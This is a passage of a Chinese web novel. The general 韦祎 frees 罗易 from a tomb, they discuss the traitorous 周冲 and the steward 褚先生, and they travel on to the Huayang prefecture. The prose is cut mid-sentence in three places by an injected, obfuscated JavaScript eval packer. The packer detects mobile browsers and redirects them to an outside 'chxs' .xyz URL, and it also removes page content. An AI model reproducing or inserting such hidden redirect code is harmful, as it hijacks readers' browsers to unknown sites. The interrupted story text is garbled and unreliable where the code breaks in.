“我……我我我刺到人了!啊!我不是故意的!”云攸纾终于从应激反应那儿夺回了身体的控制权,手一松,锋利且轻巧的寒铁剑向下微微一坠,割破了芜夙肩上更多的皮肉,才被骨头给挡住,芜夙一阵咬牙。 韦祎及时地伸手扶住了剑柄,抱怨道:“何种情况都不要松开握剑的手,每天都要说一次,你每天都松手把剑给扔了。” 把剑拔出来,给芜夙点穴止血,寒铁剑是宝剑,微微震动剑柄,剑刃上的血迹统统滑落,光洁如新。服务周全,把剑插回了云攸纾腰间的剑鞘。 下一步,把周冲手上那根簪子拔出来,捏在手里四下寻找能擦干净血迹的东西,墓室里哪有巾帕,都要绝望地用自己的衣摆去擦了,罗易呜呜呜出声提醒,“喔!” 把堵嘴的帕子从罗易口中拿出来,使劲擦一擦簪子上的血,接下来,赶忙把自己一头乱糟糟披散的头发挽起来。 说真的,这几日住的客栈没有充足的热水,韦祎也偷懒不想提水烧水,就没沐浴。 拔了簪子,头发披散在脸上,散发的头油味儿搞得韦祎满脸通红,今天回去一定要烧水沐浴,就算是自己劈柴也成! “好了好了,你没伤到吧?”把罗易解开,扶起来。 “没有,你来的还挺快。” “不快,吓得我三魂七魄飞了一半。”韦祎摇头。 把这几个人都弄出去,钱氿等在墓室门口。 “其他人呢?” “弄醒了,在外面等着。” “哦,这个看住了。”从罗易身上扒下来的绳子捆了芜夙,把她交给钱氿。 “那,他呢?”钱氿眼神示意一旁的周冲。 韦祎终于非常不情愿地把注意力挪过去。 “嗯,你……” “中郎将,我……” “走吧。” “喔!”这操作不太行,但是在意料之内,钱氿不做评价。 韦祎挥挥手,“走吧。” 周冲反应过来,拔脚便要走。 “哎?等等,”韦祎从身上摸了张银票递过去,没多少,一百两而已。“别往山路上走,其他人还等在那。” 周冲拿着银票,很快就不见了踪影。 罗易揉着手腕子,无奈的比了个大拇指,主将做到这份儿上,敬佩。 没白费这些日子临阵抱佛脚,手指上都出新茧子了。韦祎想,用圆头的玉质簪子洞穿人的手掌,搁三个月之前自己可做不到。 玉质脆,从来就不是作为武器的好材料,比银子还差劲。 “这就走了?进去都进去了一趟,古墓我还没瞧得新鲜,岂不是辜负我又是被抓又是被绑。”罗易忽然提起。 “不太好吧。” “没事儿,我不会随便拿东西的。” “不随便也不能拿。”韦祎拒绝。 “走吧,跟我下去一趟,”罗易拉一拉韦祎,又问云攸纾:“平焕同去吗?” “不去。”云攸纾讷讷地回答,他还没从被揭穿的震惊里面缓过来。 “走吧,难不成你放心让我一个人进去?”罗易已经矮身钻进了墓穴,招呼韦祎。 “钱氿,你看着芜夙姑娘,整队,我一会儿就出来。” 点头答应,钱氿的神色里不乏八卦意味,孤男寡女,去黑漆漆阴森森的墓道里,很多故事都是从这儿开头的,今天的八卦份额不低,断袖又是怎么一回事? 一扭一扭的往前走,刚才被捆了好一会儿,脚踝有些不自在,大概是扭伤了,不过还是很有兴致。 韦祎在后面跟着,给她打火把。 先回到刚才的耳室,罗易重新检查了一遭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14592931|152805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有没有物品落下,检查无误后,掀开了一个柜子的门。 “我可正看着呢。”韦祎说。 “我也没说要拿东西。”罗易扶着腿蹲下。 虽然墓门被炸开了,这又是最靠近门口的第一间耳室,一般要放些瓷器、金银器,最受盗墓贼欢迎。“瞧,这里的东西一点儿都没少。” 是真的,柜子里面整整齐齐摆放着玉摆件,瓷器瓶子。 “为何没有被盗?” 这不合理,墓门都被打开了,里面的随葬品怎么可能一点都没有失窃? 关上柜子门,沿着墓道往里走,一路上路过多间分岔路,其中一个里面挤满了棺材,层层叠放,“这些是随葬的奴仆。” “难道是杀人随葬?”这也太恐怖了,韦祎很想转身向外走。 “前朝是蓄奴制,重丧仪,杀人随葬不足为奇。” 郡公在韦祎眼里不算什么大爵位。 一个小小的开国郡公,几代传下来竟然杀了这么多人做随葬,可见前朝愚昧至极。 也就只有韦祎会觉得开国郡公不是什么特大权贵,真是不把封疆大吏放在眼里。 “快走吧,阴森森的。”这事情可怕得诡异,韦祎不禁想象这些随葬棺材里的人都是冤死的,更恐怖。 “你怕啊?你怕可以拉着我。”罗易高姿态把手伸过去。 “是你怕了吧,我才没有怕。”韦祎绝不承认。 罗易转身就走,“那我们继续往里,马上就到主墓室了。” “别走这么快,当心脚下!”韦祎立刻跟上。 主墓室,最里面最中央静静躺着一口大棺椁,周遭大小棺椁品字形排列,中间有银砖玉砖砌的矮墙隔开。 “不要开棺材。”韦祎又抢着说。 “知道,我又不是来盗墓的。”走迷宫一样七拐八跨来到那具最大的棺椁前,矮墙上有字篆刻:诰授开国隅希郡公朝请大夫显考徐公永字端忠府君之陵寝。 “这位徐郡公,封号是隅希。我刚被绑到那座破庙里面,看到大牌位上这两个字觉得实在不吉利,难道我命休矣?” “你的字里有相同的字。”韦祎最初看到那个希字的时候,也想起来了。 罗易摇摇头,“不止如此,《道德经》云,大方无隅,大器晚成,大音希声,大象无形。他的封号,隅、希,就出自这里。” 前朝崇尚拜道拜佛,能用道德经里面的名句作为封号,在前朝是受皇帝宠信的证明。 “你的字也出自《道德经》?”韦祎问,“你不像是会笃信道学。” “当然,确实出自《道德经》的大音希声,我也确实不信道学。”罗易说,“我的字是及笄时自己取的,当时打听了,有个颇有资源的外地行商笃信道学,我看两本道学的书好跟他套近乎。看到了这句,觉得这话有道理,越是强大的力量越是悠远飘渺没有实在的形态,潜于众生万象之中,心向往之。” “逸字呢?” 韦祎想了想,自己的字并不是加冠才取的,几乎是入门不久,师父就给取了这个字,主要目的是为了抢占住这群徒弟的“取字权”,等这群徒弟加冠,早就出师了,那就没办法亲自给他们取字,所以都是早早取了。 韦祎的字没有特别的意义,师兄弟几个的字都是“子”开头,很常见,师姑曾经讽刺师父说:“你这是意淫自己要成为孔夫子?” “隽”字在古语里有弯弓射箭的意义,又是好字眼,就用这个了。 根本没什么可拿出来说的。 罗晏的字有几分意思,他娘亲更有先见之明,早在罗晏出生的时候就把孩子的名和字都想好了,他出生那年朝廷新铸造了一套金银锭子与铜板通用发行,名曰壹元通宝。从里面抽两个字,就是壹通。 差点就叫做元宝。 “逸字啊,因为当时特别累,我、符怜、渔甫,那时候只有我们三个,都特别累,累狠了,我就想着什么时候能去云游四海,做个漂泊隐逸之辈。” “现在呢?” “现在也想去!现在也累啊,等哪天不做这些俗务了,又有钱,想去哪儿都可以。” “嗯,我也想。”韦祎如实说。 61. 虎山行 “你这么说,让我觉得非常暧昧。” “实情而已。” “不觉得很难得吗?”罗易神情促狭,“我觉得很难得,世上竟会有你这样的将军。” 分不清她这是在损人还是在夸人,韦祎说:“看都看了,快出去吧。” “好吧,我们出去。”韦祎一如既往规避问题,罗易习惯了。 “等等,你就是来看一眼人家的棺材?” “不全是,我刚才洗衣裳的时候,听河边那些阿嬷说,这儿的徐公因为从政贤明,身负丰功伟绩,死后,成为了一方山神,继续护佑他生前的这片封地。他的墓早就有人想要盗,不过,那些盗墓贼拿了他的随葬品,就会家破人亡,患上怪病,最终还会祸害乡里,只有把偷走的东西还回来才能解除,传开之后,他家的墓就这么敞着门,还是没人盗。” 一直以来,韦祎没那么相信城隍土地的说法,但是此时站在墓葬里,阴风阵阵的环境有助于人相信鬼怪之说。 “所以,我来瞻仰一番,这位徐公是何等人物。”罗易说,对着徐公的棺椁长揖。 别人想瞻仰也就在外面的庙里瞻仰,罗易这是站在人家的客厅里不成,一定要跑到主人家的卧房床前,甚至想要掀开被子看一看。 “我现在希望,罗晏那柄乌木剑不是从徐公这里,拿,的。”韦祎又想起来那柄来历不明但很好用的剑,“若是我霉运缠身,我就去找他算账。” “我堂哥那么多年也没有霉运缠身,一定没事的,你若霉运缠身想找原因,可以考虑一番我这个因素。” 对了,还有这位罗小姐,谁有意向她提亲谁就会倒大霉,要命的那种。芜夙和周冲闹出来的这点小麻烦不够看,说不定前方就有个大麻烦在等着。 依依不舍地掉头,沿着墓道往回走,为防止罗易不死心要去盗墓,韦祎想了个非常具有讨论价值的话题。“对不住,连累你受罪。” “你和我应该庆幸被绑走的是我!”罗易不受这份歉意,“若是他把玉芝或者符怜给绑来了,再出点闪失,我们就更难办了是不是?” “有道理。”若是把罗易手下的人伤了,不仅自己难办,罗易也很难办。即使如此,韦祎也不觉得庆幸被绑走的是罗易,管他是谁出危险,自己都过意不去。 罗易接着说:“而且,我这边也出了问题,没来得及处理。” 因为周冲在,大家的防范意识都放在了他身上。盯太紧也不成,该让他自由行动的时候还要任他自去。 这一两日隐隐觉得褚先生鬼头鬼脑打探往周冲那边凑,而周冲显然是谋划些什么,几次与朱愈谈到了罗易的起居生活,朱愈迅速把这事儿告诉了罗易。 去找韦祎说吧,又没搞清楚究竟是怎么回事,韦祎已经够紧张的了,而且周冲一直鬼头鬼脑,都不稀奇,罗易判断,让韦祎先发制人,不可能。 所以,今天罗易和秦琼一起在河边洗衣裳的时候,一边与出来洗衣服做家务的老阿嬷们唠家常,抬眼瞥见周冲在那边出现,手上拎着刀,身上背着包裹。 “你先回去。”罗易推推秦琼,“你不是还有事情要做吗?你这几件衣服我给你洗。” 秦琼也看见周冲了,无奈道:“我这衣服颜色浅,怕你洗不干净,我们一起洗完了,一起回去。”意有所指。 “难道你就能洗干净,长痛不如短痛,快把事情办了要紧。” “别担心,娇客不会干活多寻常哇,有什么不知道的就问我们这些老家伙,我这里有专门洗白衣裳的皂角粉,给你用!用这个洗衣裳,里衣软和不发板,你们小姑娘穿的衣裳最该注意。”旁边的老阿嬷以为她们真的在唠家常,热心帮忙。 “对啊,你放心,快回去吧,我没什么问题,路上慢点走,注意安全。” “这几步的路,是你该注意安全,别……别伤了手!”秦琼瞪她一眼。 老板坚持,也没办法,只好答应了。 擦擦手,放下袖子,端着洗好的几件衣服先回去放下,又转回河边远远看着,正见到周冲和罗易两个人一起走远,马上赶回去给韦祎报信。 被动状态下的韦祎做事不拖拉,一共耽搁了不到一炷香时间,韦祎就带人出发了。 “你故意让他抓你!”韦祎听她说完,回过味儿来,气得仰倒。 “哎,我把实情告诉你,你别告诉符怜啊。她知道了我就惨了。”秦琼若是知道了自己费心思在韦祎面前说谎,转头就被“主谋”给卖了,也得气得够呛。 她和韦祎可不一样,韦祎生气八成也就闷闷忍了,换了秦琼能对着自己的老板甩半个月脸子。 “你明知道他要挟持你,你就故意让他挟持,我还没说你呢,你竟然要我帮你瞒着别人!” “你要骂我就赶快,这儿没人。”罗易双手合十闭眼低头做心如止水状。 憋了好一会儿,罗易等得把眼睛睁开一条缝来观察情况。“你怎知周冲不会兴起报复,不管不顾地在你身上先捅几刀。” “表达友善呗,说我其实很同情他,把你描述成坏人。”罗易对答如流。 “你有机会和符怜一起回到客栈来,你不回?” “噢!既然他想做这个事了,又被我先发觉,至少有所准备,可以安排好报信,若是这次逃了,下次还会遇上,若是下次遇上,没有准备,假设我都被劫走一晚上了你们还没有发现,也没有人报信,或者把别人给劫走了,那才是真的危险!” 早想好了答案。 不停气儿地接着说:“这么拖下去,你们几个都习惯了他这样存在,就更不好下手。我有机会推一把,当然要抓紧时机。” 说到这儿,韦祎想起来,自己没好意思处置周冲,带得钱氿和肖丰也有些心软,继续与周冲共处那就是带着一团点了引信的火药,谁知道什么时候要炸? “这么说,是我错了?” “对!快谢谢我!”罗易愉快地睁开了眼睛。 “我不,快走,再不出去外面天要黑了!”怎么说着说着还要自己谢谢她?更来气。 罗易乘胜追击:“你又把他放走,改成带着那姑娘,又不知道什么时候要出事。” 骑马回县城的路上,韦祎神色凝重地一路都没有说话。 在等韦祎探墓穴的时候,钱氿已经把一应的善后事宜都搞好了,“庞将军在三里地外等着,劳驾他跑这一趟,您还是亲自见他一面为好。” “好。” 犹豫了一番,是把芜夙放到大军里押送,还是放在微服的队伍里押送,等见到了庞仁,想起了他和曲喆那同样稀松平常的武功,还有那一派推卸责任的官僚气,又解释不清楚,算了,自己受累带着吧。 前面马上到了丕州华阳郡,可以把芜夙交给当地管间谍问题的密探。华阳郡是交通要道,必有密探驻扎,况且,华阳郡郡守是四表姐夫,当然好办事。 就算是秦琼还不知道罗易把她给供出去了,罗易回来了,依旧被秦琼、朱愈批了一顿。褚先生也凑过来:“哎呀,小姐你也真是的,以后可得注意点,不要一个人出门去了。” “先生说的是,以后一定拉着符怜陪我一起出门。”罗易假笑。 “你的意思是,周冲决定把你劫走,是因为褚先生提醒他,我们知道他已经叛变?”韦祎本不想找罗易说话,但是罗易夜里来找他说正事,必须得听。 晚饭后,韦祎去后院厨房看了看,果真,这一间客栈太差劲,想沐浴要全套自助,木头在后院堆着,想用就自己劈成柴火,从井里打水自己烧,自己刷浴桶,提到房里去沐浴。 劈柴时韦祎看见罗易正对着那堆木头期期艾艾:“子隽啊?” “想都别想。”韦祎说,“我不会给你劈柴的。” 等他眼看着罗易的斧头差点砍了她自己的脚,叫停,“放那别动,我给你劈。” “多谢多谢,我多年没有自己劈柴火了,把技巧都给忘了!”罗易抚掌,她当然是故意的。 烧水,韦祎竟然服务周全地帮她把盛水的浴桶抬进了房。她今天在古墓里头被人绑着滚来滚去,回来必须要沐浴。正逢秦琼和朱愈对她发脾气呢,浴桶也不会帮她抬,自己抬不动,只剩韦祎好脾气。 罗易夜里来找韦祎说正事,头发还没晾干,披散在背后,身上穿了新洗好晒干的睡衣,天气已经转凉,她在睡衣外面披了一件薄绒长坎肩,靸着鞋穿过院子来到韦祎房间前敲门。 恰逢韦祎刚从浴桶里爬出来,只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14608280|152805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 穿一件衬衣冻得瑟瑟缩缩地去倒洗澡水回来,两个披头散发的人一起走进了韦祎的房间。 正在院子角落里守上夜的钱氿眼睛雪亮! “我的天哪氿哥,你看见没,他他他们俩走进去了!天哪!”一同上夜的张丙乙兴奋得犯了结巴。 “看见了,有戏!” 守夜的值班校尉不愁今天会犯困了。 褚先生在周冲面前扮演了什么角色? “没证据,大概是。朱愈只是隐约听周冲提起过,我们又没有你那种耳听八方的本事。” “我也没有。” “别抬杠。” “你要把他给处置了?”韦祎想起来了,早就劝她了,独自一人就敢带着一个又会武功又心怀不轨的下属出门,出事了吧!“你当时说什么来着,说你那边没问题。” “不是你先出问题所以我这儿才出问题的吗?”把周冲留在队伍里,才是一切的根源。 抬杠吧,赢不了就是赢不了。 “那好,现在要怎样,把褚先生给办了?” “怎么办他?又没有证据,他还是个老百姓,不是你军中的人,你没办法直接处置他。”罗易说,就是因为这事儿不好办了,她才要在吵架的时候过来找韦祎商量正事。 早就清楚褚先生在帮着东宅的人,但是并没有预估到他会起意害人性命。罗易小时候就认识褚先生了,看着她长大的。 “纵使他想帮着罗曏夺权,我从未考虑到他会想要了我的命。” 说到这儿,韦祎觉得她也许有点伤心,不好跟她继续抬杠,横竖抬杠也赢不了。 就算是抓他,必要过堂去审,褚先生这连教唆犯罪都谈不上,可以一口咬定他不知道周冲早叛变。叛变了的周冲仍旧自由自在出现在队伍里的原因,是韦祎把他弄回来了。 不怕贼偷,就怕贼惦记。他想要害人性命就会再次出手,防不胜防。 “你可以把他给辞掉,至少他不会再出现在你附近了。”韦祎说。 “辞不了,他是镖局的局长,镖局里有一大半的人都是他带起来的,把他辞了,镖局至少瘫痪三年,从头再来。” “辞也不能辞,抓也没法抓,在暗中把他给办了?” “我可是大齐国的守法百姓!怎么能做暗中把人给办了的事情呢?”罗易先是惊奇,韦祎竟然能说这句话,随后说,“再说,我出门在外,也没有资源把他给办了。” “有资源你就办了他?”轮到韦祎拍桌子。 “那办法可多了,不是我自夸,要别人倒霉简单,要他平平安安地交出权柄来才难。”罗易说,“我可没说要他死。虽然他现在想让我死。” 对话进行不下去了,韦祎开门送客。 “太可怕了子隽,也许今晚他就潜到我房里把我一刀结果。” 把门又关上了,“你是不是有点难过?” “没有!” 嘴硬的毛病不要和云攸纾学,云攸纾每次说“我不怕!”之类的话,满脸都写着“我要怕死了!” “小时候我爹忙,我娘心思放在罗曏身上,我可是跟着褚伯伯长大的,他还帮我在我娘手上救了渔甫,等我掌事,是他坚持让我改口,不准叫他伯伯,这样才显得我更有威信。” “所以?” “所以他觉得,他对我这么好,我理应给他更大的特权,给他一家最多的红利。”罗易站在门口,坚定如昔,“让他家过上要风得风要雨得雨的好日子,可其他人怎么办,出力拼命还要被他压榨?” 镖局和其他生意不同,真遇上了山贼盗匪,镖师要卖命去保住镖局的信誉。若是让镖局上层爬满了躺吃红利的吸血鬼,没得好。 “行了,我要回房了,若是我大声呼救,你可要救我啊。”罗易去推门。“他还要觉得冤呢,对我多年扶持,最终养出个连好处都不肯给他的白眼狼,所以恨不得杀了我。” 观念不同。罗易的决定,在褚先生看来,叫做兔死狗烹,可谓忘恩负义。 “若是你实在害怕,你可以住我这间。” 罗易瞪大了眼睛看着严肃的韦祎,不像是开玩笑啊! “真,真的?” 这句话里歧义可太大了。 62. 腹中气 “我夜里一直不睡,你可以睡在床上。”韦祎当然知道罗易想歪到哪里去了,努力保持严肃。 本是想防着芜夙夜里“来访”,韦祎才一直打坐过夜,今天抓住了芜夙,计划着是要睡觉的,不过,不差这一天。 “你一直不睡觉?不累吗?我说呢,你为什么每天白日里赶路都要去马车里补眠,不是有值夜的校尉在外头?” “怕他们打不过那姑娘,也算是临时抱佛脚修炼。”及时转移话题,“对了,你今天看见没,用玉簪子穿过人的手掌,寻常高手都做不到!” “看见了,果真出神入化,首饰都能当作武器。” 其实,簪子穿手掌的场景有点恶心人,如今罗易对羊脂白玉簪心情分外复杂,看见就觉得手掌痛。 “你要不要住?” “当然,却之不恭!对了,你不怕钱大哥他们传你的花边消息?” “呵,你不留下住他们就不编排了吗?” 把头发稍微擦干,披上一件厚外套,找了个软垫子放在卧室的椅子上,离床铺远远的,今晚要在这过夜。 平时就算是打坐过夜,是平躺在床上盖被子打坐,才不会故弄玄虚的盘膝而坐,坐一晚上腿得麻成什么样? 缺点是一不留神就会睡着。 过去是这样,这段时间太过紧张,就算不打坐也会失眠,韦祎一次也没睡成。 罗易绝不搞和衣而卧那套假惺惺的做派,她身上本就没穿多少衣裳,背对韦祎脱了外面的坎肩,扔在床头柜上,身上剩一件薄睡衣,直接钻被窝,舒舒服服地裹好被子,不忘对枯坐无言的韦祎道晚安。 “嗯。”表示自己听见了。 到了后半夜,韦祎睁开眼。 发现自己坐太久,臀部血流不畅,屁股麻了,动弹不得。 窗户纸是半透明的,向外看去,月光明亮,院子比屋子里要亮,打着树影映在窗户上,清晰地看见几片叶子正悠悠落下,正经的中州秋日景象。 咬着牙想克服屁股麻让自己站起来,去院子里转一圈看看校尉们有没有换班,努力半天,听到一声巨大的闷响,以为是自己放的,正想尴尬。 不对,声音不是从自己这传来的。 房里有另一位在呢,呼吸声音稍重且匀称,显然正在熟睡。 眼神偷偷摸摸瞟过去,被子盖得这么严实,还能传出这么大的声音来,厉害!正想着呢,又是一声,比刚才还响。 等韦祎挣扎出门,没走几步,两个校尉从黑暗中凑了上来,“中郎将,今天您劳累啊,可得注意身体,您看,您是不是受凉了,肠胃不舒服,赶着去茅厕?” “对,您快去吧,这儿有我们守着呢,刚才那响屁,我们都听到了。” 韦祎咬牙,就不应该在罗易制造了响屁之后,紧接着出门来。 “你怎么说话呢,中郎将那不叫放屁,得叫排气!先生怎么说来着,屁乃腹中五谷杂粮之气!中郎将,我们就是粗人,您别介意!” “对对对,我又给忘了!” “辛苦,我去方便。”并不想去茅厕的韦祎,被逼无奈去一趟茅厕,连带认下了这两声响屁。 估计是罗易今天折腾了一整天,肚子着凉。 昨天是因为时间计算得正好,只赶了一上午的路就到了这个镇子,于是下午和晚上都留在客栈休息,下午闹了一番,晚上就“大获全胜”归于平静了,不耽搁第二天一早出发继续赶路。 我是叫她起来呢,还是不叫她? 为了保持礼貌,韦祎不想靠近罗易的床边,但是罗易不醒过来走出去,自己怎么洗漱换衣服呢,这可是自己的房间! 在屋子里转一圈,拿了洗脸盆架子旁边的毛巾,确认毛巾是干净的,瞄准罗易,一扔。 “唔!”被毛巾盖住了脸的罗易坐了起来:“子隽,你可以出声叫我。” “叫了,你没听见。”韦祎说。 幸好罗易只住了一天,她心情的复原速度令韦祎敬佩。韦祎见过很多被歹人绑架折磨的受害者,往往陷入焦虑之中难以自拔,甚至几年之后还在惶恐不安难以入眠。 “你昨夜……” “我昨夜如何?磨牙?打鼾?放屁?”罗易抢着接上了。 韦祎其实想问她昨夜睡得可好。 “没有,你睡觉挺安静。” 抓到了芜夙,麻烦没有变少,反而更多了。 微服出行,搞个囚车关她不现实,捆着也不可能,一行人正在装作商队,商队里怎么可能有囚犯,太可疑。 以其人之道还治其人之身,把她给打残? 干不出来这事儿。 “你有没有什么药,能让人服下后暂时无法调动内力?” 朱愈答:“在下是个卖药材的,又不是神医,怎么会知道那般神奇的药方子?”转而又有新提议,“让人没内力难,让人一直恶心反胃拉稀却很容易,您看?” 韦祎也知道如何让人一直恶心反胃拉稀,吃巴豆。 “不成,我们要赶路,不能让她一直拉稀。” “您只是想让她虚弱也容易,用黄连、川穹、黄岑、知母、大黄、寒水石、芦根配一剂清热去火降糖的药,这是常见方子,很多人都吃,不会引人生疑。她那么瘦,一定没有高糖症,给她去火降糖,就会全身无力头晕眼花。而且,大齐贩药有规定,百姓不能一次性大量购入巴豆这种大毒烈性药草。” “按你说的办。”那就去火降糖,难不成还要为了巴豆去偷药铺? 朱愈帮忙解决了体力问题,韦祎亲自去解决内力的问题。 第一次试着给别人封内力,生怕一个不留神把她的经脉废了,挠痒痒似的试了一个时辰,“你还不如一掌拍死我。”芜夙被韦祎那一丝丝试探的内力挠得太难受。 内力的使用透露着种种犹疑,蜿蜒在芜夙的经脉里,自己的经脉里何尝流淌过这样令人难受的内力,让芜夙连带觉得非常受辱。 “我怕毁了你的丹田!”韦祎太委屈了。 “无能!”芜夙骂。 钱氿在一旁叉腰看着,不想替韦祎出头,丝毫没有没有动手去堵住芜夙嘴巴的意思。 韦祎顶着骂声弄了好一会儿,把两个人都折磨得不轻,终于成功了,可喜可贺。 人生总有许多第一次,韦祎十二时辰内解锁了三条。 暗器技术新突破、封人内力、放姑娘在自己屋里睡觉。 等朱愈去药铺买药回来,带来了好消息,药铺人得闲,按照药剂制成了药丸,一天一丸药即可,不必每天花上一个时辰熬药。 妥当之中隐藏着种种不妥当,就这么上路了,往华阳郡去。 到了华阳郡,行程就正式过半,可在华阳郡稍微休整几日,连续白日里赶路,夜里住店,时间紧的时候要深夜落脚清晨就出发,来不及洗衣裳也来不及沐浴。 周冲与外界并无联系,至少一伙人没有发现过,那他是如何与外面的芜夙联络上的? 有内鬼?或许是可疑的褚先生,或许是别人。 因此,即使抓住了芜夙,韦祎晚上也甭想睡觉,依旧保持打坐过夜。到了华阳郡,能够住进郡守府,也许就能睡几天整觉。 打坐过夜不会困,但谁不想睡觉啊! 某天路上,钱氿催马凑近韦祎,“罗小姐是故意被周冲抓走的?” “你怎么知道?” “秦姑娘心里不痛快,听她唠了几句。” “嘿!你们混得挺熟?” “那当然,我是谁?我钱氿是广大女性之友!”又补充道:“秦姑娘不是随意对他人讲自家老板的秘密,她说那两句话里假设套着假设,就差没讲出个寓言故事来了,是我猜到了。您可千万别说给罗小姐啊!” 合着罗易把这事儿告诉给我,我不能说出去,另一边的秦琼又把事情通过钱氿告诉我一遍,还是嘱咐我不能说出去,树洞不好做。 韦祎估计着,秦琼自小就跟着罗易一起,向来保持高度一致,什么缺德事没做过? 怎么会为了这点小事心里不痛快,大概是故意说给钱氿听,抓他当传声筒。 钱氿呢,他怎么可能看不出秦琼的目的,但他乐于当这个传声筒啊,哪儿有八卦哪儿有他。 至于这背后是为什么。 罗易毫不掩饰地觉得韦祎不错,正经考虑要结婚,这俩人从徐公古墓里出来,晚上就住到一间屋子去了! 在其他人看来,这事儿要成。 秦琼、殷涿、朱愈这些人不一定乐意。 他们才不会管 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14635845|152805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老板的个人作风,她在哪儿过夜都成。 但正经谈婚论嫁不同,韦祎是京城的,且正当着将军,不可能来东海入赘。若是他们的老板跑到京城去结婚定居了,东海怎么办? 其次,韦祎要娶罗易是娶低了,官商很少通亲,大多数当官的都瞧不起商人。并且,嫁给韦祎,罗易只是续弦,他们也不愿意老板攀人家高门大户,规矩多,不自由,将来受欺负。 因为贺顼与明三的事情,秦琼发现这位韦将军不太喜欢别人耍计谋。所以,通过钱氿把罗易故意被人抓的事情捅给韦祎,搅和他们俩不要两情相悦。 “这一趟也够累的。”费脑子理清楚这一堆事儿,韦祎摇着头对钱氿抱怨。 “那当然了,您这一趟出来,不仅要出使,还要相亲、伺候熊孩子、抓间谍,能不累吗?” 伺候熊孩子,云攸纾觉得他与芜夙合谋的事情竟然早就暴露,过于尴尬,一句话不说,闹脾气。 他还以为韦祎不会再教他剑术了,早上不出来晨练。 校尉们不敢去叫他,等了没一会儿,他就被正好不能睡觉所以从不赖床的韦祎冲进房里拎出来早锻炼扎马步,竟然有点被韦祎的“不计前嫌”感动了! 他一感动,就更别扭了,说话拐十八个弯,持续闹脾气,韦祎宁愿他别感动。 “不止这些。”韦祎说,“到了华阳郡,还要探一回亲戚。” “对啊!柳大人的四女婿栾凤栾大人,时任华阳郡郡守,等到了栾郡守那儿,大家也可歇歇脚。” “这你都知道?” 柳大人的近亲关系网,齐国内外全部有点权势的人都知道,赶着要巴结。不想巴结的,当八卦听,只有韦祎自己把这件事当秘密。 四表姐柳爚与丈夫同在华阳郡。 三表姐叫柳鼒,四表姐柳爚,舅舅热衷于给自己的孩子们用笔画奇多的字起名。 这关系到韦祎为何叫韦祎。 韦祎还没出生的时候,韦寅偶然去柳家族学旁观几天,当时二表姐三表姐刚上学开蒙,学写自己的姓名,那真是痛苦万分啊! 起名叫祎好啊,不仅笔画少,且只要学会写一个“韦”字,写名字就没问题啦! 四表姐与韦祎同岁,于是他们俩一起开蒙学写字,对比鲜明。 淘气时,先生罚他们各自把姓名写五十次,韦祎只要花柳爚二分之一的时间就能完成! 小柳爚不用愤愤很久,小韦祎很快就离开了族学,被柳不寒送去海岛了。 从此之后,韦祎再也不用应付罚写姓名五十次,而是要担心扎马步,最担心的就是一边扎马步一边罚写。 就不是写自己的姓名了,默写屈子的《天问》全文三十遍,写到想把屈子他老人家挖出来揍一顿,哪来的那么多问题,三百七十多句啊,全是问题! 今年都二十五岁了,罗晏若是站在他耳旁幽幽念叨一句“遂古之初,谁传道之?上下未形,何由考之?”韦祎回击:“冥昭瞢闇……” 两人一同扶额,伤敌八百自损八百,唤醒留存在脑子里的记忆,可以体会到久违的疲劳腿痛。 到达华阳郡郡守府的时候,当然没有任何人来迎接韦祎。 谁知道他何时到达啊? 大部分人在街角僻静处等着,韦祎和罗易下马,步行来到郡守府门前递帖子。 “小祎!” 没过多久,郡守府的大门里头疾步走过来一位少妇,穿着一身女款的官服,头上还没有戴官帽,但插了一支银笔簪,这是官员制式的头饰。 她没出门来,反而是躲在郡守府大门的后面警觉地左右看看,冲站在门前的两个人快速招手,“快进来!” 紧张兮兮也难掩她眼中激烈迸射的八卦火花。 韦祎做出请进的手势,扶罗易先迈过郡守府高过小腿的高门槛,随后自己走进去。“你这是干嘛呢?” “我可惨了,最近事情太多!”随后立刻问:“好几年没见了,你还是老样子!这位姑娘是?” “噢,你对我突然来访没一点儿惊讶吗?” “有什么可惊讶的,爹爹早来信说你要经过,你经过我这儿,敢不来看我?”柳爚又快速打发了韦祎的问题,直接问罗易,“姑娘,我叫柳爚,是小祎的四姐。” 63. 不成眠 “栾夫人好,民女罗易。”罗易微笑拱手。 柳爚亦拱手笑答之。 她们初次见面,为何要行男人礼数?韦祎有一点困惑。罗易今天也没有穿男装啊,正经穿了襦裙来见人。 “小爚姐,这位是逸希,是……壹通的堂妹,在东海做生意的,与我一同微服西行,帮我打掩护。”韦祎补充道,“逸希,她虽是我表姐,但只比我大两个月,与我同年。” “壹通的堂妹啊,喔!罗家的女儿,一定是位大老板了。” “只是小生意罢了。”罗易例行谦虚。 柳爚当然认识罗晏。 